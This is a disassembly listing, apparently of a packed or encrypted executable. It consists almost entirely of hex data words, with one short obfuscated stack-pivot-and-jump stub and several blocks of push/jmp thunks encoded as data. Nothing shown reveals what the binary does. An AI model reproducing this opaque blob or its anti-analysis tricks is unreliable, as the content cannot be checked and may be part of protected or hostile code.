		dd 6C043553h, 62D92302h, 0FD1B19C4h, 0F890EEE8h, 262C7764h
		dd 54EC31B9h, 0C1EA37A9h, 14EB6FA1h, 54491FAAh,	695E4EECh
		dd 0FEC60F01h, 90737941h, 1110EBh, 0EF5B4E00h, 36D6151h
		dd 1B7D7565h, 31978D7Dh, 46AEA393h, 6EDC3BA8h, 83731179h
		dd 9A8A288Ch, 0B3A341A1h, 0BEBD5BB9h, 13C4EC5Dh, 0B8CB7601h
		dd 0B21A0F66h, 0B2A87E07h, 791B94Ch, 4A986FE9h,	787262E0h
		dd 0F287C1Ah, 0FEB4B715h, 6508A604h, 7436BDCh, 0FC4A6FE9h
		dd 60C2BA92h, 4FADA75Dh, 88CD5FB1h, 2EA99E85h, 0E90795BDh
		dd 0BE56A46Fh, 796D65BBh, 5BCC770Fh, 69FB2EBEh,	0B407014Fh
		dd 9E756087h, 0C36EF5F8h, 93236952h, 9FA2F05Bh,	8434C436h
		dd 6B9F3869h, 0FA898401h, 0BC85DE4Fh, 4A946186h, 0E617117Eh
		dd 4EF99140h, 82207E78h, 0AE1209DFh, 18726C44h,	0A096C0E7h
		dd 4B3DD555h, 87A8A880h, 461DC2A5h, 18000010h, 2B1BB925h
		dd 3F2FCD37h, 5747E547h, 6D5DFB61h, 5721078h, 0DB4338AAh
		dd 0F2564D3Dh, 0B6B6454h, 25837D6Dh, 0B6278887h, 7601148Eh
		dd 0F388A9Dh, 4BB4B715h, 0A507F6D9h, 6B1B186h, 0E97B6D95h
		dd 0C42E7C6Fh, 12BD4447h, 58BCB389h, 0E354FF55h, 6FE97BBBh
		dd 970A74C2h, 69FBA392h, 0B9E152B3h, 0C075FB64h, 0A73CDA72h
		dd 1721DA4h, 700D88D8h,	3F9093E1h, 6FE97813h, 796E3229h
		dd 0C0767911h, 0F86164CAh, 0E9785F87h, 7A206E6Fh, 9C72E1C1h
		dd 0B80FE3C3h, 0FFD81DEBh, 40h,	80636AA5h, 0CA20238Bh
		dd 3D168732h, 0A069FB4Ch, 0AF20FE2Eh, 0B8221371h, 0AE08BD9h
		dd 8813B111h, 75FBD65Eh, 7A187670h, 0A50B01D7h,	0AE24CA2h
		dd 45AEB111h, 0F127A6Fh, 6A884FB9h, 3600000Fh, 35E0636Ah
		dd 0F11073C4h, 0CE70BA69h, 3AD37BC2h, 6B41EC84h, 0C72B1771h
		dd 1AB0D849h, 71BF7601h, 0FD694ADDh, 0DDD7C765h, 2A217C7Fh
		dd 0BAEB1384h, 0A4F27601h, 46F0610Ch, 517009C2h, 88825803h
		dd 13E98C2Ah, 64B6B91Bh, 0B6368A07h, 0E14BE338h, 0AEB10F09h
		dd 72695853h, 0BE1C160Eh, 490A7B26h, 8069FBFBh,	47794032h
		dd 0AD907335h, 0EF808h,	7736600h, 1B857969h, 33958D7Dh
		dd 49AFA595h, 5EC6BBABh, 86F453C0h, 9B8B2991h, 0B2A240A4h
		dd 0CBBB59B9h, 0D6D573D1h, 15DC0475h, 0D0E37601h, 748747Eh
		dd 0B2B96FE9h, 6113842Fh, 6C69F10Fh, 61EA731Eh,	0E3B7B4EFh
		dd 28BBF388h, 76015D00h, 7F57C10Fh, 0A7C2785h, 0EBE258Fh
		dd 53D13B77h, 600B6963h, 2F32908Ah, 85EBE1D9h, 0DFC22C82h
		dd 547CED76h, 0C67601B2h, 28AB2BC2h, 0E5C5B6Dh,	9D2427A4h
		dd 0E87C81F2h, 3F8D7013h, 3DAB624Dh, 0BB09379h,	0E61h
		dd 9E0AFDh, 14B21C10h, 2CCA2C24h, 42E0463Ch, 57F55D52h
		dd 281D8FEAh, 3B3222C0h, 504939D7h, 686252F0h, 0C6D6C0Ah
		dd 115739Bh, 15677A76h,	5E57150Fh, 0AD6366FEh, 355255B3h
		dd 64C6BE94h, 19130B61h, 0D0B051BBh, 877EDC4Eh,	6A7552Bh
		dd 0F868BF9Ch, 31AFD81Dh, 55000009h, 35E0636Ah,	9C06665Fh
		dd 0EE9A011h, 724869F1h, 0BF15187Ah, 36DCFC7h, 19817624h
		dd 774DD681h, 0C3191C80h, 56FD5CBh, 8075332Dh, 27BF1518h
		dd 419F9989h, 0DB4CD53Eh, 76010FB3h, 0ED86CBAh,	7FCF3B1Bh
		dd 6F9B0E78h, 0E07601B0h, 9CFEF6EDh, 0AB4399h, 66D0322Ah
		dd 0D8656ADBh, 22F87013h, 7B5AC42Eh, 0BB723B2Dh, 9477793Dh
		dd 0D94EFh, 6BD7CA00h, 7FE9DDCDh, 97F9F1E1h, 0AD1309F9h
		dd 0C22A1F0Fh, 0EA58B724h, 0FFEF8DF5h, 1606A408h, 2F1FBD1Dh
		dd 3A39D735h, 164068D9h, 3C4F7601h, 0B7150FEAh,	0AA04FEB4h
		dd 0DECA2793h, 0BB191354h, 0D2CA62B8h, 0DDE078DAh, 0A72909C0h
		dd 7E3EA935h, 1E902486h, 0DD4793h, 0D81DC4A9h, 85FF0h
		dd 7B714700h, 746FAB15h, 6FE90748h, 0AB1CB2B9h,	6FE90783h
		dd 90B8298Ah, 9F6FE907h, 7621B951h, 0F10F0E05h,	46F13F69h
		dd 0F244CBDh, 0DD2B7601h, 1812E873h, 322C1CBAh,	7776D1D4h
		dd 0CBD041ECh, 0CE701337h, 319B03F8h, 11120452h, 44793E1Ah
		dd 0CDFBC61h, 8C7F0000h, 9E928220h, 0AEA69634h,	0C8BEAE4Ch
		dd 0DFD4C462h, 0D6CD977h, 0A442AA9Fh, 0BB59BDB4h, 0D472D2CBh
		dd 0EE8CEAE4h, 0F51D8EEFh, 4760117h, 150F9FF1h,	70B33A4h
		dd 0C4126FE9h, 40970930h, 0BE56E023h, 4D0B05BBh, 98EEF157h
		dd 29E0FD00h, 0A41E7549h, 0B165D81Dh, 0B000007h, 35E0636Ah
		dd 0F10EB4C4h, 822D7B69h, 4E51B5ACh, 3C3F9F98h,	59E44EE6h
		dd 0D4CB8983h, 89D1D474h, 44DC3DA7h, 0A853EB41h, 7679D9D2h
		dd 4838B620h, 9CEDF04Eh, 76020270h, 0A305FDD3h,	63E04AA0h
		dd 0BD2ED968h, 70142AB8h, 809FB49h, 31793D69h, 0C2FA94Eh
		dd 3C2F0000h, 4E4232D0h, 5E5646E4h, 786E5EFCh, 8F847412h
		dd 0BD1C8927h, 54F25A4Fh
		dd 6B096D64h, 8422827Bh, 9E3C9A94h, 0A5CD3E9Fh,	0B4760118h
		dd 150F4FA1h, 4FEB4B7h,	0F3EDA3A6h, 0E4DC9295h,	0D3C97F82h
		dd 10146A6Dh, 0E948B797h, 277E5232h, 6ED81D7Fh,	704h, 91FBEFC5h
		dd 4B74EB27h, 0B46FE907h, 0E7F2AB9h, 69F10F19h,	592FDA28h
		dd 7363015Fh, 0BD181B79h, 0FF8833CEh, 10F668Eh,	0FC61E076h
		dd 867FD318h, 8DB52687h, 9C7601A9h, 0CABEB64Eh,	0FA6BF660h
		dd 7013C36Dh, 0C2EA5BBCh, 0D06FF38Bh, 1E7477D7h, 4739D11Fh
		dd 793DB6C0h, 7ADD8265h, 0E400000Bh, 0F7E785F1h, 0BFB9903h
		dd 2313B113h, 3929C72Dh, 0D13EDC44h, 0A70F0476h, 0BE221909h
		dd 0D7373020h, 0F14F4939h, 82F35453h, 7601185Ah, 0FFC4E61h
		dd 0FEB4B715h, 87A3A604h, 251FEECEh, 720A7267h,	7A88DFD4h
		dd 4FCFD81Dh, 75000001h, 3A62D35Ch, 416FE907h, 0B7B189F3h
		dd 0A6A05659h, 0A3149D48h, 6FE9077Bh, 4CCA3482h, 822DB4B7h
		dd 0FB1E5411h, 0B03D969h, 12603FA9h, 2292BE0Fh,	0F1CA75FBh
		dd 95068F11h, 75FB226Dh, 0E7C42E7Ch, 0DE2F9990h, 35D7h
		dd 38BC2E00h, 79D7D1A2h, 8C8C2076h, 1753BDCAh, 35E0636Ah
		dd 0FB11C3C4h, 51FC4A69h, 1F22827Bh, 2B7C5FC9h,	75FB1DFFh
		dd 0AA7E5E37h, 0DE2F9253h, 0AE9Ah, 150F4000h, 9FEB4B7h
		dd 0EEE89EA1h, 0DDD78D90h, 2BC3291Fh, 2DE0028Dh, 11836FE9h
		dd 4B85E0D6h, 0AE86F0EDh, 23B856B4h, 0ED158628h, 0FC6FE92Fh
		dd 0FA6B16AEh, 69FDD65Ah, 0E2B863B1h, 4DA85EDh,	0ED574B0Bh
		dd 1139AA55h, 1875FD8Ah, 0F2E260CAh, 62A395FDh,	0B77333B7h
		dd 0A532FD4h, 180B0000h, 2A1E0EACh, 3A3222C0h, 544A3AD8h
		dd 6B6050EEh, 99F86503h, 30CE362Bh, 47E54940h, 60FE5E57h
		dd 7A187670h, 81A91A7Bh, 88760119h, 1A0F2375h, 2A2414B2h
		dd 0C29821CCh, 0ADD568CAh, 106FE907h, 0E907779Fh, 3938866Fh
		dd 9931938Bh, 5C5DB12Fh, 25289286h, 58353BCFh, 801CD56Ah
		dd 0E6443E16h, 0D9332DE3h, 8389F3D2h, 7A18B0D4h, 50B9Bh
		dd 636A4900h, 33C435E0h, 0FA69FB1Fh, 2C58A9ACh,	4275FB1Fh
		dd 2FE5E84Ah, 7CD3D636h, 986EDDBDh, 0D45DDFBFh,	9FA208FEh
		dd 1F8EB649h, 4F9D75FBh, 92B108E5h, 46F8DE2Fh, 9E000002h
		dd 1C0FEA5Ch, 0C433953Eh, 0B124DF75h, 0A14CE452h, 0E99D0830h
		dd 5FC9176Fh, 0E99DC5ECh, 0A0232A6Fh, 0A49584F5h, 0EA9869F1h
		dd 0D72693F3h, 6A8E3D55h, 0CE79CFD2h, 15A355Dh,	5EF64476h
		dd 0D8B82AB3h, 15208D4Fh, 98FCF3h, 66C4BE96h, 80DED8C8h
		dd 1A8B147Dh, 7601CFF2h, 0A2A50900h, 95FF4D4Ch,	0E38E1518h
		dd 13E8E572h, 0F4E63470h, 793D4D07h, 2E761BFEh,	30000009h
		dd 4333D13Dh, 5747E54Fh, 6F5FFD5Fh, 85751379h, 1D8A2890h
		dd 0F35B50C2h, 0A6E6555h, 23837C6Ch, 3D9B9585h,	0CE3FA09Fh
		dd 76011BA6h, 5C50A2B5h, 73A62D3h, 0F3416FE9h, 59B7B189h
		dd 0E8A6A056h, 0F0F38BF3h, 0DFE2403Ah, 0CDD03029h, 61D0B069h
		dd 9B6A4A03h, 2A543A1h,	66D0362Ch, 1D7B3289h, 16779D8h
		dd 0F1F0000h, 4BB4B715h, 0DA8EA1D9h, 87277C7h, 2DD83630h
		dd 0B10B33A4h, 24196FE9h, 6463B9BCh, 0C25AC0B6h, 4645DA58h
		dd 0E29F10BBh, 0F369FBC7h, 2551A2A5h, 5D75FBB8h, 79D0A484h
		dd 0C0DE302Fh, 50h, 0A9EA5C66h,	16E8E089h, 0BBB22F99h
		dd 0B0C7D28h, 9669FB45h, 0FD67C7C0h, 1F0ED41Eh,	451E2F3Bh
		dd 0FBCAACD4h, 0CD65B375h, 0A983F239h, 67FFD554h, 2F25FB64h
		dd 670C6C9h, 0FB0A6793h, 0E6C69F75h, 2F7DBB12h,	0E1DAB0DEh
		dd 0A6DE1781h, 84000000h, 0CB7150Fh, 0E1D94136h, 2C8285EBh
		dd 3429DFC2h, 0EE60C9CCh, 76347605h, 739B0C3Dh,	7A6FE9EFh
		dd 522A942Ch, 41F7FA58h, 0C04BE947h, 6FEA3E8Eh,	0C435A6A0h
		dd 6FE9C29Ch, 0BC155A3h, 0CB573C86h, 0E9BF6A02h, 0A3218BF5h
		dd 0D9841F0Eh, 0FDCBC868h, 4EF94769h, 7D1B8378h, 3E30988Dh
		dd 733385ABh, 0CEB65B3Eh, 90000007h, 0A393319Dh, 0B7A745AFh
		dd 0CFBF5DBFh, 0E5D573D9h, 7DEA88F0h, 53BBB022h, 6ACEC5B5h
		dd 83E3DCCCh, 9DFBF5E5h, 2E9F00FFh, 76011C06h, 0FB00215h
		dd 2414B21Ah, 8B2ECC2Ah, 0F15BBDB5h, 0A3EA5CB5h, 56F5DAC7h
		dd 0EB7D0CA0h, 0D223A72Ch, 0D8969068h, 277D80DEh, 0DCD68C8Fh
		dd 744AD37Eh, 5D85187Eh, 6C6FEA00h, 5736B41Eh, 28Ch, 0E0636A05h
		dd 106FC435h, 70BE69F1h, 0A7B046Dh, 760110E2h, 0BE319BE9h
		dd 76011092h, 373107CAh, 0EECE6FD9h, 586FA6Ch, 6F5B38BFh
		dd 56282973h, 0FD67FFE7h, 35ACC920h, 22810DEh, 5CB60000h
		dd 73A62D3h, 0F7416FE9h, 69E05AABh, 1A841C9Bh, 0E94C80A7h
		dd 65FCEF6Fh, 54FC49BAh, 0BF0D69F1h, 0F21A8B14h, 0F9760153h
		dd 54AB27AFh, 0F890CDE5h, 0F17A038Eh, 11E5880h,	15756E76h
		dd 0AC1DC816h, 76011E84h, 0FBD33D8Bh, 1505A301h, 5635D1Bh
		dd 2B016A6Dh, 0B728D331h, 76011E8Fh, 69E6509Eh,	0C334DF62h
		dd 70133836h, 98C7B907h, 0BD793E09h, 6AB35DAh, 0C0B30000h
		dd 0D2C6B654h, 0E2DACA68h, 0FCF2E280h, 1308F896h, 41A00DABh
		dd 0D876DED3h, 0EF8DF1E8h, 8A606FFh, 22C01E18h,	2951C223h
		dd 3076011Dh, 150FCB1Dh, 0CA9A0CB7h, 0BF1D173Dh, 0B8D266BCh
		dd 0A083ED67h, 8F92F0EAh, 58DABA73h, 0F72B8B82h, 319A48Dh
		dd 5BB1B44Ch, 0C11F19F1h, 0B0AA8023h, 8FF94F52h, 1E545BB2h
		dd 144A2D8h, 0F480000h,	0FEB4B715h, 7308A604h, 683EE978h
		dd 0B60C0F6Fh, 4CD5522h, 1D8747DEh, 0B8642192h,	277569FBh
		dd 88A7D324h, 6DF75FBh,	0D4CEA426h, 0B31D7376h,	2FFF7FD6h
		dd 45C6DEh, 6A6C0000h, 3362E463h, 7068C717h, 0A01EE9DCh
		dd 62FA634Fh, 964546B7h, 0E65869FBh, 0A2D2499Bh, 0E3D7CFCCh
		dd 0B6207679h, 358689D7h, 75FB2009h, 0B4886841h, 0DE2F945Dh
		dd 0B5A4h, 0A289FB00h, 0E94DD9D1h, 5C5490FAh, 0C12B8F86h
		dd 3731EFE9h, 0E880D6D9h, 0D23A2FE5h, 611F19CFh, 0AB01046Ch
		dd 35A71013h, 0B59E97EDh, 9E76E089h, 5A846A4h, 8B15393h
		dd 0F6609E35h, 0E9C14183h, 0FB59536Fh, 20827A50h, 0A8A338B6h
		dd 5DFD6E19h, 0AC69FDECh, 0E6DDB35Eh, 0BF297F82h, 1695E34h
		dd 167E7363h, 33A63924h, 882D1073h, 559h, 8A61205h, 1CBA2418h
		dd 34D2342Ch, 4AE84E44h, 5FFD655Ah, 302597F2h, 433A2AC8h
		dd 585141DFh, 706A5AF8h, 14757412h, 11E7BA3h, 1D6F8276h
		dd 7B21A0Fh, 4FAFA87Eh,	0E90794BCh, 0E34D9B6Fh,	1D7B7565h
		dd 150F2B7Fh, 12830CB7h, 6FE907EAh, 5639A3F1h, 0AA48A6A0h
		dd 27CBh, 150F7900h, 4FEB4B7h, 52EA5046h, 77DDD1A7h, 2505A956h
		dd 0B7BA527Bh, 0B714F761h, 57512000h, 1C7C5BF9h, 2A000000h
		dd 0B4B7150Fh, 1C7C754Bh, 7123FB2h, 902F6FE9h, 60582EB0h
		dd 0C2BC94FEh, 5C72C664h, 73A62D3h, 4F486FE9h, 38A2F0EFh
		dd 5086660h, 56D1C69Ch,	0E907BDE5h, 0E67ECC6Fh,	7A2CA3Bh
		dd 5BA96FE9h, 0EA7974F1h, 0BC2DB63Fh, 6FE90794h, 92BA4D9Bh
		dd 996FE907h, 0FB7BB74Bh, 29AE7830h, 72C334BFh,	0BB69F18Bh
		dd 0F2ECC26Dh, 0C06F694h, 5D50ABAEh, 0AA1BC6h, 63700981h
		dd 0CA34948Dh, 69F29DEBh, 0CE389C93h, 9EFCF6h, 0B5B81610h
		dd 25D0535Ah, 0FB90F3B4h, 9F986E69h, 7CE63C3Fh,	0F65D4F9Dh
		dd 3F7335D0h, 42BB75Ch,	40330000h, 524636D4h, 625A4AE8h
		dd 7C726200h, 93887816h, 0C1208D2Bh
		dd 58F65E53h, 6F0D7168h, 8826867Fh, 0A2409E98h,	0A9D142A3h
		dd 0B0760120h, 865C4B9Dh, 0E7BF2991h, 1F18FEDh,	8CFEA907h
		dd 14B1FDFCh, 0F2D53FBEh, 9BE8423Ch, 71D7D20Fh,	9D32E886h
		dd 9B77F909h, 0E9B1022Ah, 23BB096Fh, 35CD372Bh,	7D5D1632h
		dd 0B856B4AEh, 1E246CC3h, 2BB3D8h, 6A590000h, 0C435E063h
		dd 69FB4BEBh, 6339E432h, 0E16C0A6Ah, 75FB54B7h,	0D775D3CDh
		dd 3675E34h, 6840AA00h,	670C0F6Fh, 38Dh, 57150F15h, 0A1F7FA62h
		dd 56500609h, 45B75AF8h, 5B13F564h, 25A20CFEh, 67F09B26h
		dd 0DFD39D91h, 841C7275h, 0F802B81h, 6FE92BE7h,	0CB3EA8F6h
		dd 69FB420Eh, 85EEF13Fh, 0E953B9AFh, 0FB464A76h, 0C9A98275h
		dd 2FBD9EF5h, 20E5DEh, 6A8B0000h, 0C435E063h, 69FB11C3h
		dd 0A8F9FC4Ah, 75FB1E7Ch, 27FBDBB4h, 0DE2F91D0h, 9F17h
		dd 150FBD00h, 9FEB4B7h,	0EFE74941h, 0F6F991FBh,	0E5E84640h
		dd 39D7352Fh, 0E9029CAEh, 1A78726Fh, 903D97Ch, 6F6941ABh
		dd 0B8B30E11h, 1FF57E29h, 0EA5DC725h, 69FB2931h, 0D76C0A58h
		dd 31A24DD4h, 700FCE9Bh, 0B3893482h, 0C8B856BEh, 0C8796BD3h
		dd 517941B2h, 2C7C96Eh,	0A4970000h, 0B6AA9A38h,	0C6BEAE4Ch
		dd 0E0D6C664h, 0F7ECDC7Ah, 2584F18Fh, 0BC5AC2B7h, 0D371D5CCh
		dd 0EC8AEAE3h, 6A402FCh, 0D35A607h, 1C760121h, 1A0FB709h
		dd 0E87114B2h, 0E9074F77h, 0B7B05E6Fh, 7D55BF57h, 33872583h
		dd 2892865Ch, 13796F25h, 9994117Bh, 554DB5AAh, 0B762FA5Eh
		dd 9E60582Eh, 0A7AA42A8h, 98F8F1h, 12222396h, 0DD2B69FBh
		dd 1E5D89DAh, 0BC9575FBh, 91B108DCh, 97F8DE2Fh,	9E000000h
		dd 5D57150Fh, 0AE6467FFh, 0FD4E51B9h, 6FE902EBh, 4BE94741h
		dd 76DCD2A8h, 0DBB31D73h, 258083E1h, 67F09B26h,	73ADC4F5h
		dd 66D079A7h, 0FBD23AF3h, 77156369h, 0AD58EBE2h, 103D053Ch
		dd 0FBA0870h, 3EDC4439h, 0FFF1594Eh, 79421738h,	0F245EACDh
		dd 6C000001h, 7F6F0D79h, 9383218Bh, 0AB9B399Bh,	0C1B14FB5h
		dd 59C664CCh, 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h
		dd 0A7BDCDBh, 760122E2h, 0F84D6E9h, 2414B21Ah, 9821CC2Ah
		dd 0E906FF27h, 56C00E6Fh, 150F84D8h, 3F360CB7h,	0C13D8ADFh
		dd 57EFA244h, 0B194FE54h, 0B89ED648h, 7C10746Bh, 0E751BB58h
		dd 19B7150Fh, 0CED12F29h, 4AEDF365h, 0F6C543A2h, 36A00AFEh
		dd 0AB1CB2B9h, 6FE92683h, 0C7A83C8Ah, 796876C2h, 51DA851Dh
		dd 0E9ABB8E0h, 8179C76Fh, 33BE2888h, 0FBA4C1C2h, 0F7FA4869h
		dd 7F01E1A0h, 0D4FC6DF6h, 0DB75FBA9h, 0A9D2FA8Dh, 8BD975FBh
		dd 914F4921h, 0DB31349Ch, 9E0F9843h, 75FBA976h,	4FCD3785h
		dd 8530B3BAh, 0DB21714h, 4DF84670h, 0AF198377h,	0BE1C16CCh
		dd 0C7A75EBBh, 234BBC45h, 956FE9B2h, 0B38AD0D1h, 86E7E646h
		dd 0E9A3ED15h, 16AEFC6Fh, 0A53C2FACh, 0AB8C89FAh, 3B1169FBh
		dd 29DFE242h, 0CF39D12Fh, 133A6F0h, 0F1C3446Ah,	0D1CBBB59h
		dd 3D370E77h, 35CD359Ah, 23837C32h, 2A0AC920h, 0AAA3615Bh
		dd 59F1474Ah, 9C2726BBh, 9B9268F1h, 797CE0D7h, 0AE218B23h
		dd 700DE9ADh, 8EB627B0h, 9D6FE9F6h, 0B33A44Fh, 126FE9F6h
		dd 2D7B5AC4h, 1C7A742Ah, 2303C219h, 0CDC5BCAFh,	7A12686Bh
		dd 0EF5D5ECFh, 9EEC69FBh, 0E9EB5D00h, 0FF6A8679h, 2528A50Fh
		dd 31F21A8Bh, 0ABF975FBh, 59F76813h, 8700339h, 6ED83A32h
		dd 0C096418Fh, 15F862CCh, 68DFD6ACh, 0F329CFF7h, 0F890DE6Fh
		dd 5EBCB68Eh, 78D6D0C0h, 0FE222475h, 0D68D7A28h, 0CF2D27F6h
		dd 0E9474131h, 0F873683Eh, 0E7065F87h, 88206E85h, 0FCD23B1Eh
		dd 0EA4A4303h, 0F6F991E7h, 4AE24C40h, 0AC1208E0h, 0D3A952A9h
		dd 6F107ADAh, 68C6C08Fh, 82E0DACAh, 3DA7Fh, 95880000h
		dd 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah,	63CBC076h
		dd 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h, 9684D0Bh
		dd 89000021h, 89562404h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 2414895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 0EA68243Ch, 8B061809h, 0C4832414h, 3C8B5404h, 4C48324h
		dd 6B0768h, 24148900h, 0B8243481h, 8F4E0F48h, 77810847h
		dd 0F48B808h, 243C8B4Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		db 84h
		dd 56C239B2h, 181D74B8h, 0FFC50306h, 1928A9E0h,	0D467F32Dh
		dd 0C26D5F76h, 0FD6D9B44h, 48CDE70Ah, 8E32BC18h, 0DB16FB7Ah
		dd 0DC8DC731h, 67A68809h, 306D732h, 8B570968h, 5D962206h
		dd 3B9BC416h, 1B25206Ah, 8F4BD27Ch, 0F07E111Ah,	901ED264h
		dd 8C177821h, 23D3720Ch, 73B1FE28h, 6D691A6Ch, 71C18659h
		dd 98DBD04Fh, 0F6913815h, 0E968893Fh, 135B6F65h, 325E782Ah
		dd 1348E912h, 0E260346Bh, 133C6955h, 0E8A5E4Ch,	0ABE92Ah
		dd 668A0000h, 0CC471264h, 38F3BAF5h, 0AFD666D1h, 0B2979FABh
		dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h
		dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h
		dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h,	0FD91A7h
		dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 5EF357h, 9DBBEFB6h
		dd 9500BD89h, 0EFB69F89h, 0D00097BBh, 55C3B1B6h, 37005271h
		dd 0D3C20DA4h, 0E0910h,	0Bh dup(0)
		dd 10B2E900h, 25680000h, 0E9061821h, 0FFFA60C1h, 18222568h
		dd 60B7E906h, 0DC68FFFAh, 0E9061822h, 0FFFA60ADh, 18241E68h
		dd 60A3E906h, 9668FFFAh, 0E9061824h, 0FFFA6099h, 18254568h
		dd 608FE906h, 0E068FFFAh, 0E9061825h, 0FFFA6085h, 1826E068h
		dd 607BE906h, 0BB68FFFAh, 0E9061827h, 0FFFA6071h, 18287C68h
		dd 6067E906h, 5E68FFFAh, 0E9061829h, 0FFFA605Dh, 182B2068h
		dd 6053E906h, 5B68FFFAh, 0E906182Dh, 0FFFA6049h, 182E4C68h
		dd 603FE906h, 0DCCFFFFAh, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch
		dd 2F2414B2h, 5DBC29C7h, 0F492FAEFh, 0BA90D04h,	24C2221Bh
		dd 3EDC3A34h, 456DDE3Fh, 54760126h, 0D3CAA041h,	18E56373h
		dd 9D35387Ch, 150FF733h, 4FEB4B7h, 97C8FEAAh, 14ACF8FBh
		dd 44EAE176h, 0E92BABD3h, 0CC64B26Fh, 2269821h,	8C892B4Ch
		dd 8C538A2h, 3969FB6Eh,	6B97E8EBh, 0A375FB52h, 0BF16EACAh
		dd 0B4DE2FC9h, 0B3468242h, 0BC261775h, 2583h, 636A2900h
		dd 0C3C435E0h, 4A69FB11h, 3B3EA89Ch, 0F94A4DE5h, 75FB1ECDh
		dd 784C2C05h, 0DE2F9221h, 11368h, 150F0E00h, 9FEB4B7h
		dd 0C3359EA1h, 66D75481h, 6FE9903Eh, 0E46BFF4Dh, 4D258F05h
		dd 89F2F553h, 66863117h, 38A2CAF7h, 6A086660h, 0E91ECCDFh
		dd 0A866606Fh, 30A14CB2h, 6FE91F08h, 8631C917h,	0E852BCB0h
		dd 0C2807A6Ah, 21CC64CEh, 1EFF2798h, 0C00E6FE9h, 15187356h
		dd 160DE38Eh, 4CBD48B2h, 69FB1EA3h, 29BE5CAAh, 84483F22h
		dd 0D2282B8Bh, 0F61E8F3Ah, 575FB1Fh, 0EB741FB7h, 0FB1F527Ah
		dd 143CAD75h, 1B75FB1Fh, 1680CECDh, 0C1EB1A8Bh,	0B402700Fh
		dd 86F78009h, 6FEFBD5Eh, 0DDB51F6Dh, 4CD580E8h,	86198176h
		dd 6FEFBD5Eh, 37B51F6Dh, 0F8EA5247h, 79431B73h,	0E9EA8F72h
		dd 3400000Dh, 4737D541h, 5B4BE953h, 73630163h, 8979177Dh
		dd 218E2C94h, 0F75F54C6h, 0E726959h, 27878070h,	419F9989h
		dd 0D243A4A3h, 760128AAh, 5C4C9EB1h, 73A62D3h, 24956FE9h
		dd 6FE907FCh, 68B6B503h, 0C93126FEh, 0E3413B2Bh, 163EAF38h
		dd 256FE907h, 9BEF6DD7h, 2D8D865Ch, 0BC4746C3h,	119FA011h
		dd 64AE69FBh, 4FBBC08Eh, 5D60F831h, 0FBF4E00Ch,	5F3F1875h
		dd 3068348Bh, 0BA7BDEh,	0F210000h, 0FEB4B715h, 4D9EA109h
		dd 6FE9023Ah, 0CF7AD8D2h, 0B0D9FF5Dh, 0B728C10Ah, 6FE9268Fh
		dd 4EB8509Eh, 75E6E0D0h, 0E926DC04h, 90F2EA6Fh,	97BF3091h
		dd 0A66FE926h, 7D28C058h, 0E04AB2A7h, 18ABA2FDh, 0D25BE46Dh
		dd 0E9263961h, 5FF2406Fh, 6FE92637h, 1B8EF846h,	69FB2672h
		dd 0FA8F2D7Bh, 54C570F3h, 700FCB36h, 0D2322BD9h, 36E179CFh
		dd 65036B60h, 26188075h, 79431CB3h, 0E90EB396h,	3400000Ch
		dd 4737D541h, 5B4BE953h, 73630163h, 8979177Dh, 218E2C94h
		dd 0F75F54C6h, 0E726959h, 27878070h, 419F9989h,	0D243A4A3h
		dd 760129AAh, 0F4C9EB1h, 2414B21Ah, 0DA2ECC2Ah,	0B4B7150Fh
		dd 0BFAA04FEh, 0ED83EE63h, 0F5F86256h, 0D16F079Fh, 8487E9E1h
		dd 0D876D4CEh, 7655F35h, 0A44AE04h, 25BCAF22h, 0D57FF17Ah
		dd 40FC824Dh, 9AFD2596h, 0BE0C6FE9h, 0AC49BC26h, 5D69FBC2h
		dd 95C2150Fh, 69E75F4h,	60D17C07h, 5B939777h, 5AB5B806h
		dd 0B425D053h, 6186FB5Bh, 0B7C478C2h, 123FC581h, 60B6B919h
		dd 0AF8530C8h, 0C9B957B5h, 507F71CFh, 0E587A9F0h, 0C325D02h
		dd 0F8EB0000h, 0AFEEE8Ch, 1A1202A0h, 342A1AB8h,	4B4030CEh
		dd 79D845E3h, 10AE160Bh, 27C52920h, 40DE3E37h, 5AF85650h
		dd 6189FA5Bh, 68760129h, 150F0355h, 0D94BB4B7h,	0F398C8DFh
		dd 0BF3CA678h, 89B122CCh, 906FE9ABh, 29FFAA42h,	0DA65CF31h
		dd 0FBD36469h, 1887F969h, 0C2714FAEh, 6B7BC226h, 52EA34B1h
		dd 1DBB09E8h, 53FE8588h, 0E19B9E2h, 0C772C070h,	9699F7F1h
		dd 0A2F3D640h, 6FE9C976h, 21F5D5AEh, 0D81E3CCAh, 5211h
		dd 6EDF6800h, 6FE9BD46h, 619D0755h, 3A62D35Ch, 416FE907h
		dd 10C89F3h, 8D66D782h,	0FC69FB4Bh, 342D03AEh, 81AB36D4h
		dd 9375FB54h, 84E4DB99h, 0E0EC99BDh, 0FE019919h, 827210A8h
		dd 81262989h, 0B64h, 0F22C6EE0h, 57978C5Dh, 0A6FCFF5Dh
		dd 6A68A40Eh, 0C435E063h, 69F1189Fh, 9F75206Eh,	0B9A947A5h
		dd 0E44565BFh, 23A57F6h, 10C676Ah, 0B266D782h, 257009F6h
		dd 87F15B4Fh, 26AF5AA8h, 0EA85B3B4h, 0B8223977h, 475E6E0h
		dd 6FE9F4DCh, 5FFD95E3h, 1417756Fh, 842FB2B9h, 70FF3912h
		dd 93FD4074h, 0B3D69708h, 0A9F769FBh, 374416B7h, 8B301373h
		dd 0AF0h, 30CE3A2Dh, 44E24C40h,	5CFA5C54h, 7210766Ch, 87258D82h
		dd 584DBF1Ah, 6B6252F0h, 80796907h, 98928220h, 3C9D9C3Ah
		dd 12BA3CBh, 4597AA76h,	0E9074874h, 0DED5AB6Fh,	0B721777Ah
